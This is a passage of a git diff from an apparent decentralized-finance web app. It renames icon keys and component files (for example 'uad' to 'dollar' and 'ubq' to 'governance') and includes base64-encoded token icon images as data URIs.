base64s = {} as Record; -base64s["help"] = b64svg.concat(btoa(renderToString(svgs.help))); -base64s["liquidity"] = b64svg.concat(btoa(renderToString(svgs.liquidity))); -base64s["uad"] = b64svg.concat(btoa(renderToString(svgs.uad))); -base64s["ubq"] = b64svg.concat(btoa(renderToString(svgs.ubq))); -base64s["ucr-nft"] = b64svg.concat(btoa(renderToString(svgs.ucr))); -base64s["ucr"] = b64svg.concat(btoa(renderToString(svgs.ucr))); -base64s["usdc"] = b64svg.concat(btoa(renderToString(svgs.usdc))); -base64s["dai"] = b64svg.concat(btoa(renderToString(svgs.dai))); -base64s["usdt"] = b64svg.concat(btoa(renderToString(svgs.usdt))); -base64s["warning"] = b64svg.concat(btoa(renderToString(svgs.warning))); +base64s["help"] = b64svg.concat(btoa(renderToString(SVGs.help))); +base64s["liquidity"] = b64svg.concat(btoa(renderToString(SVGs.liquidity))); +base64s["dollar"] = b64svg.concat(btoa(renderToString(SVGs.dollar))); +base64s["governance"] = b64svg.concat(btoa(renderToString(SVGs.governance))); +base64s["credit-nft"] = b64svg.concat(btoa(renderToString(SVGs.creditNft))); +base64s["credit"] = b64svg.concat(btoa(renderToString(SVGs.credit))); +base64s["usdc"] = b64svg.concat(btoa(renderToString(SVGs.usdc))); +base64s["dai"] = b64svg.concat(btoa(renderToString(SVGs.dai))); +base64s["usdt"] = b64svg.concat(btoa(renderToString(SVGs.usdt))); +base64s["warning"] = b64svg.concat(btoa(renderToString(SVGs.warning))); base64s[ "3crv" ] = `data:image/webp;base64,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`; base64s[ - "uad3crv-f" + "dollar3crv-f" ] = `data:image/webp;base64,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`; -export default { svgs, base64s }; +export default { SVGs, base64s }; diff --git a/packages/dapp/components/ui/jsxIcons.tsx b/packages/dapp/components/ui/jsx-icons.tsx similarity index 99% rename from packages/dapp/components/ui/jsxIcons.tsx rename to packages/dapp/components/ui/jsx-icons.tsx index 670271a0c..57bda98dc 100644 --- a/packages/dapp/components/ui/jsxIcons.tsx +++ b/packages/dapp/components/ui/jsx-icons.tsx @@ -1,10 +1,10 @@ export const jsxSvgIcons = { - ubq: ( + governance: ( ), - uad: ( + dollar: ( diff --git a/packages/dapp/components/ui/Loading.tsx b/packages/dapp/components/ui/loading.tsx similarity index 83% rename from packages/dapp/components/ui/Loading.tsx rename to packages/dapp/components/ui/loading.tsx index 7c3734654..628ce7088 100644 --- 